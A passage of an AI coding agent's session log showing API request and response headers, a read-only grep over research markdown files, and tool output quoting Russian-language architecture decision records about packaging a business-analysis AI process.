audit_findings_applied\\n1 removed_current_functionality_requirements\\n1 acceptance_criteria\\n1 open_questions\\n1 source_images\\n1 source_pages\\n1 template_v4_max_similarity\",\n[2026-09-29T07:45:19.401Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:19.401Z] [INFO]       }\n[2026-09-29T07:45:19.401Z] [INFO]     ]\n[2026-09-29T07:45:19.401Z] [INFO]   },\n[2026-09-29T07:45:19.401Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:19.401Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:19.401Z] [INFO]   \"uuid\": \"b4bf290d-9ff8-4650-a47a-4da106cc2bc6\",\n[2026-09-29T07:45:19.401Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:19.397Z\",\n[2026-09-29T07:45:19.401Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:19.401Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:19.401Z] [INFO] }\n[2026-09-29T07:45:19.422Z] [STDOUT] [log_347c33] sending request {\n[2026-09-29T07:45:19.425Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:19.428Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:19.430Z] [STDOUT]   options: {\n[2026-09-29T07:45:19.436Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:19.441Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:19.442Z] [STDOUT]     body: {\n[2026-09-29T07:45:19.445Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:19.450Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:19.458Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:19.462Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:19.467Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:19.470Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:19.473Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:19.479Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:19.483Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:19.489Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:19.493Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:19.494Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:19.497Z] [STDOUT]     },\n[2026-09-29T07:45:19.501Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:19.507Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:19.512Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:19.519Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:19.525Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:19.532Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:19.535Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:19.540Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:19.544Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:19.549Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:19.552Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:19.556Z] [STDOUT]     },\n[2026-09-29T07:45:19.560Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:19.567Z] [STDOUT]   },\n[2026-09-29T07:45:19.571Z] [STDOUT]   headers: {\n[2026-09-29T07:45:19.573Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:19.577Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:19.582Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:19.585Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:19.591Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:19.597Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:19.600Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:19.604Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:19.612Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:19.617Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:45:19.621Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:19.624Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1842\",\n[2026-09-29T07:45:19.632Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:19.637Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:19.640Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:19.644Z] [STDOUT]     \"x-client-request-id\": \"77e9ce0b-ca61-401c-9f6e-fda4553ff1c5\",\n[2026-09-29T07:45:19.647Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:19.651Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:19.659Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:19.661Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:19.664Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:19.669Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:19.672Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:19.679Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:19.683Z] [STDOUT]   },\n[2026-09-29T07:45:19.686Z] [STDOUT] }\n[2026-09-29T07:45:20.298Z] [STDOUT] [log_347c33, request-id: \"req_011CfXMkN1ZpkX5i3d1c1xYw\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 874ms\n[2026-09-29T07:45:20.305Z] [STDOUT] [log_347c33] response start {\n[2026-09-29T07:45:20.310Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:20.316Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:20.323Z] [STDOUT]   headers: {\n[2026-09-29T07:45:20.327Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:20.330Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:20.334Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:20.336Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:20.340Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:20.357Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:20.366Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:20.391Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:20.401Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:20.404Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:20.412Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:20.417Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:20.420Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:20.425Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:20.428Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:20.432Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:20.436Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:20.444Z] [STDOUT]     \"cf-ray\": \"a4295e206ccc4d8b-FRA\",\n[2026-09-29T07:45:20.450Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:20.453Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:20.455Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:20.460Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:20.465Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:20 GMT\",\n[2026-09-29T07:45:20.471Z] [STDOUT]     \"request-id\": \"req_011CfXMkN1ZpkX5i3d1c1xYw\",\n[2026-09-29T07:45:20.475Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:20.480Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:20.486Z] [STDOUT]     traceresponse: \"00-eab6e504ff54330c5433dbf4909f253b-0dafe756d74cd310-01\",\n[2026-09-29T07:45:20.492Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:20.498Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:20.507Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:20.526Z] [STDOUT]   },\n[2026-09-29T07:45:20.551Z] [STDOUT]   durationMs: 874,\n[2026-09-29T07:45:20.555Z] [STDOUT] }\n[2026-09-29T07:45:20.562Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:20.571Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:20 GMT\",\n[2026-09-29T07:45:20.574Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:20.579Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:20.589Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:20.596Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:20.601Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:20.605Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:20.611Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:20.615Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:20.620Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:20.625Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:20.629Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:20.639Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:20.648Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:20.653Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:20.657Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:20.662Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:20.669Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:20.674Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:20.677Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:20.681Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:20.684Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:20.689Z] [STDOUT]   \"request-id\": \"req_011CfXMkN1ZpkX5i3d1c1xYw\",\n[2026-09-29T07:45:20.693Z] [STDOUT]   \"traceresponse\": \"00-eab6e504ff54330c5433dbf4909f253b-0dafe756d74cd310-01\",\n[2026-09-29T07:45:20.697Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:20.700Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:20.705Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:20.710Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:20.713Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:20.720Z] [STDOUT]   \"cf-ray\": \"a4295e206ccc4d8b-FRA\",\n[2026-09-29T07:45:20.727Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:20.741Z] [STDOUT] [log_347c33] response parsed {\n[2026-09-29T07:45:20.760Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:20.774Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:20.781Z] [STDOUT]   body: X {\n[2026-09-29T07:45:20.791Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:20.798Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:20.804Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:20.810Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:20.815Z] [STDOUT]     },\n[2026-09-29T07:45:20.819Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:20.822Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:20.826Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:20.829Z] [STDOUT]   },\n[2026-09-29T07:45:20.833Z] [STDOUT]   durationMs: 875,\n[2026-09-29T07:45:20.841Z] [STDOUT] }\n[2026-09-29T07:45:20.844Z] [INFO] {\n[2026-09-29T07:45:20.844Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:20.844Z] [INFO]   \"message\": {\n[2026-09-29T07:45:20.844Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:20.844Z] [INFO]     \"id\": \"msg_011CfXMkG96Win6RkDKWMuM9\",\n[2026-09-29T07:45:20.844Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:20.844Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:20.844Z] [INFO]     \"content\": [\n[2026-09-29T07:45:20.844Z] [INFO]       {\n[2026-09-29T07:45:20.844Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:45:20.844Z] [INFO]         \"id\": \"toolu_01JvUQ5643vWRC5Xzkg3Jimx\",\n[2026-09-29T07:45:20.844Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:45:20.844Z] [INFO]         \"input\": {\n[2026-09-29T07:45:20.844Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/research/ba-requirements && grep -n -i '\u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432' artifact-micro-structure/10-theory.md README.md normalization/*.md | cut -c1-400; echo ----; grep -n -i 'fail-closed\\\\|fail closed' -r . --include=*.md | cut -c1-400\",\n[2026-09-29T07:45:20.844Z] [INFO]           \"description\": \"Show cognitive and fail-closed mentions\"\n[2026-09-29T07:45:20.844Z] [INFO]         },\n[2026-09-29T07:45:20.844Z] [INFO]         \"caller\": {\n[2026-09-29T07:45:20.844Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:45:20.844Z] [INFO]         }\n[2026-09-29T07:45:20.844Z] [INFO]       }\n[2026-09-29T07:45:20.844Z] [INFO]     ],\n[2026-09-29T07:45:20.844Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:20.844Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:20.844Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:20.844Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:20.844Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:20.844Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:20.844Z] [INFO]       \"cache_creation_input_tokens\": 491,\n[2026-09-29T07:45:20.844Z] [INFO]       \"cache_read_input_tokens\": 46852,\n[2026-09-29T07:45:20.844Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:20.844Z] [INFO]         \"ephemeral_5m_input_tokens\": 491,\n[2026-09-29T07:45:20.844Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:20.844Z] [INFO]       },\n[2026-09-29T07:45:20.844Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:45:20.844Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:20.844Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:20.844Z] [INFO]     },\n[2026-09-29T07:45:20.844Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:20.844Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:20.844Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:20.844Z] [INFO]   },\n[2026-09-29T07:45:20.844Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:20.844Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:20.844Z] [INFO]   \"uuid\": \"dcec1e1b-85b8-4bd9-a53a-2e4ed0d9f7c0\",\n[2026-09-29T07:45:20.844Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:20.373Z\",\n[2026-09-29T07:45:20.844Z] [INFO]   \"request_id\": \"req_011CfXMkFgZAbHGW35Rj26Ab\",\n[2026-09-29T07:45:20.844Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:20.844Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:20.844Z] [INFO] }\n[2026-09-29T07:45:20.849Z] [INFO] {\n[2026-09-29T07:45:20.849Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:20.849Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:45:20.849Z] [INFO]   \"task_id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:45:20.849Z] [INFO]   \"tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:20.849Z] [INFO]   \"description\": \"Running Show cognitive and fail-closed mentions\",\n[2026-09-29T07:45:20.849Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:20.849Z] [INFO]   \"usage\": {\n[2026-09-29T07:45:20.849Z] [INFO]     \"total_tokens\": 47594,\n[2026-09-29T07:45:20.849Z] [INFO]     \"tool_uses\": 13,\n[2026-09-29T07:45:20.849Z] [INFO]     \"duration_ms\": 51096\n[2026-09-29T07:45:20.849Z] [INFO]   },\n[2026-09-29T07:45:20.849Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:45:20.849Z] [INFO]   \"uuid\": \"c4937026-d366-4ccf-8643-95c4523b8669\",\n[2026-09-29T07:45:20.849Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:20.849Z] [INFO] }\n[2026-09-29T07:45:20.856Z] [INFO] {\n[2026-09-29T07:45:20.856Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:20.856Z] [INFO]   \"message\": {\n[2026-09-29T07:45:20.856Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:20.856Z] [INFO]     \"content\": [\n[2026-09-29T07:45:20.856Z] [INFO]       {\n[2026-09-29T07:45:20.856Z] [INFO]         \"tool_use_id\": \"toolu_01XCLg7LicwvUvhJ2CtFHXGL\",\n[2026-09-29T07:45:20.856Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:20.856Z] [INFO]         \"content\": \"1:=== decisions/2026-09-adr-017-ba-ai-process-source-distribution.md\\n5:## Decision Metadata\\n47:=== decisions/2026-09-adr-020-clean-distribution-package.md\\n51:## Decision Metadata\\n69:## Decision\\n83:## Decision Drivers\\n93:=== docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md\\n97:## Decision Metadata\\n117:## Decision\\n139:=== docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\n143:## Decision Metadata\\n163:## Decision\\n185:=== docs/rfc/2026-09-source-pilot-verification.md\\n201:## Summary\\n231:=== docs/analysis/2026-09-29-cline-package-expectation-gap.md\\n241:## \u0412\u0435\u0440\u0434\u0438\u043a\u0442\\n\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430, \u043d\u043e \u043d\u0435\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430 RRP.\\n\\n\u041d\u0443\u0436\u043d\u0430 \u044f\u0432\u043d\u0430\u044f \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0441\u043e\u0431\u0438\u0440\u0430\u0442\u044c \u043f\u0430\u043a\u0435\u0442\u044b \u0434\u043b\u044f\\n\u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0440\u0435\u0434 \u0438 \u043f\u0440\u0438 \u044d\u0442\u043e\u043c:\\n\\n- \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0435 rationale \u0432 runtime-\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044c;\\n- \u043d\u0435 \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u0442\u044c \u043e\u0442\u043b\u0430\u0434\u043a\u0443 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 \u0441 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u043c\u0438;\\n- \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u044b\u0439 runtime \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u043c \u043f\u0440\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 Source;\\n- \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 \u0431\u0435\u0437 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439\\n  \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438;\\n- \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0443 \u0441 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\u043c\u0438, \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044f\\n  \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0439.\\n\\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043f\u0443\u043d\u043a\u0442 \u0437\u0430\u0434\u0430\u0451\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u0433\u0440\u0430\u043d\u0438\u0446\u0443 \u0440\u0435\u0448\u0435\u043d\u0438\u044f. \u0422\u0435\u043a\u0443\u0449\u0430\u044f\\n[`ba-meta-model`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model)\\n\u0438\u043c\u0435\u0435\u0442 `scope: mango-only`; \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u0430 \u0438 \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b\\n\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u0435\u0451 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f. \u041d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 ADR \u0434\u0435\u043b\u0430\u0435\u0442 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0439\\n=== decisions/2026-09-adr-020-clean-distribution-package.md\\n\\n# ADR-020: \u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 Distribution\\n\\n## Decision Metadata\\n\\n| Field | Value |\\n| --- | --- |\\n| ADR id | ADR-020 |\\n| Decision type | methodology |\\n| Decision status | proposed; \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043f\u0440\u0438 review PR |\\n| Decision date | 2026-09-26 (\u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435) |\\n| Owner | G-Ivan-A |\\n| Source | [issue #617](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/617) |\\n| Impacted artifacts | \u0412\u0441\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0432 `projects/ba-ai-process/dist/` \u0438 \u0438\u0445 \u0431\u0443\u0434\u0443\u0449\u0438\u0435 \u0441\u0431\u043e\u0440\u0449\u0438\u043a\u0438 \u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b |\\n| Supersedes | none; \u0443\u0442\u043e\u0447\u043d\u044f\u0435\u0442 [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md) |\\n| Superseded by | none |\\n\\n## Context\\n\\n[ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md) \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u043e\u0431\u0438\u0440\u0430\u0442\u044c \u043a\u0430\u0436\u0434\u044b\u0439 Distribution \u0438\u0437 